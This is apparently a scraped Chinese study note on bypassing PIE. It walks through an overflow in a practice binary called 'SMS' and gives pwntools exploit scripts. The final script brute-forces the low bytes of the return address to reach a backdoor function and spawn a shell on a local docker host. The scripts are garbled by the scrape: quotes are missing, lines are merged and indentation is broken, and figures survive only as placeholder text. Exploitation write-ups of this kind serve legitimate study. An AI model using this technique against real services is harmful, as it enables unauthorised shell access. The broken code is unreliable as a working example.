1. 程式人生 > >linux漏洞分析入門筆記-bypass_PIE

linux漏洞分析入門筆記-bypass_PIE

recv bre 代碼 src pytho ace 測試 send pad

ubuntu 16.04

IDA 7.0

docker

0x00:漏洞分析

1.ASLR的是操作系統的功能選項,作用於executable(ELF)裝入內存運行時,因而只能隨機化stack、heap、libraries的基址;而PIE(Position Independent Executables)是編譯器(gcc,..)功能選項(-fPIE),作用於excutable編譯過程,可將其理解為特殊的PIC(so專用,Position Independent Code),加了PIE選項編譯出來的ELF用file命令查看會顯示其為so,其隨機化了ELF裝載內存的基址(代碼段、plt、got、data等共同的基址)。

ASLR早於PIE出現,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等繞過ASLR的技術;而在ASLR+PIE之後,這些bypass技術就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。

ASLR有0/1/2三種級別,其中0表示ASLR未開啟,1表示隨機化stack、libraries,2還會隨機化heap。

2.查看目標程序屬性與動態分析漏洞成因。

技術分享圖片

          圖1

圖1中可以看到程序開啟了PIE保護,每次加載的基址是不一樣的,PIE的應用給使用ROP技術造成了很大的難度。

通過IDA動態調試目標程發現漏洞產生是如下地方:

技術分享圖片

          圖2

程序執行過程中在dosms函數中調用了set_user與set_sms函數,set_user讀取最大長度為128字符的username,最後一字節做了set_sms中strncpy的大小,修改最後一個字節構長時造成溢出。

1.簡單寫一個rop來測試。

#! /usr/bin/python
from pwn import *
import pdb
context.log_level = debug
target = process(./SMS)
elf=ELF(./SMS)
pdb.set_trace()
#poc
target.recv()
rop=A*40#
rop+=\xca# size target.sendline(rop) target.recv() rop+=B*159# #rop+=‘\x01\xC9‘# pass pie rop+=C*8#ret address target.sendline(rop) target.recv() target.interactive()

技術分享圖片

          圖3

如圖3所示返回地址被CCCCCCCC覆蓋了,由於這個程序開啟了PIE保護,我們不能確定frontdoor的具體地址,因此沒辦法直接通過溢出來跳轉到frontdoor(),也不能通過got表來實現rop了。

0x01:爆破繞過PIE

1.libc每次加載基址會發生變化是ASLR。開啟了PIE後的地址,和libc加載時一樣,都是在一個內存頁的單位上進行變化,即地址的低三位(4KB=0x1000)是不變化的,所以我們可以通過溢出只覆蓋已有地址的低三位,(某條指令的後12位,3個十六進制數的地址是始終不變的。因此通過覆蓋EIP的後8或16位)如果在最後一字節0-0xff空間內有可用的rop也可以只覆蓋低兩位也就是一個字節來控制流程,不過這樣的機率太小了。

2.對比下發現每次隨機的其實只有一個位是變化的,所以最多嘗試16次就能成功爆破。

技術分享圖片

          圖5

技術分享圖片

          圖5

我們直接將返回地址修改成後門的地址。

技術分享圖片

          圖6

3.最終的poc如下:

#! /usr/bin/python
#coding:utf-8
from pwn import *
import pdb
context.log_level = debug
elf=ELF(./SMS)
pdb.set_trace()
patcharr = [\x01\x09,\x01\x19,\x01\x29,\x01\x39,\x01\x49,\x01\x59,\x01\x69,\x01\x79,\x01\x89,\x01\x99,\x01\xA9,\x01\xB9,\x01\xC9,\x01\xD9,\x01\xE9,\x01\xF9]
i = 0
while True:
        print i
        io = remote("172.17.0.2", 10001)        
        io.recv()
        payload = A*40 #padding
        payload += \xca  #size                                      
        io.sendline(payload)
        io.recv()
        payload = B*200 #padding
        payload += patcharr[6] # i frontdoor最多嘗試16次
        io.sendline(payload)
        io.recv()
     i += 1
        try:
                io.recv(timeout = 1)
        except EOFError:
                io.close()
        print error......
                continue
        else:
                sleep(0.1)
        print succ......
                io.sendline(/bin/sh\x00)
                sleep(0.1)                                                
                io.interactive()
                break

最後成功獲得shell:

技術分享圖片

          圖7

0x02:總結

1.本是想通過修改最後一個字節來執行rop泄露內存地址,但是沒有在0x00-0xFF內存空間中找到適合的rop。

linux漏洞分析入門筆記-bypass_PIE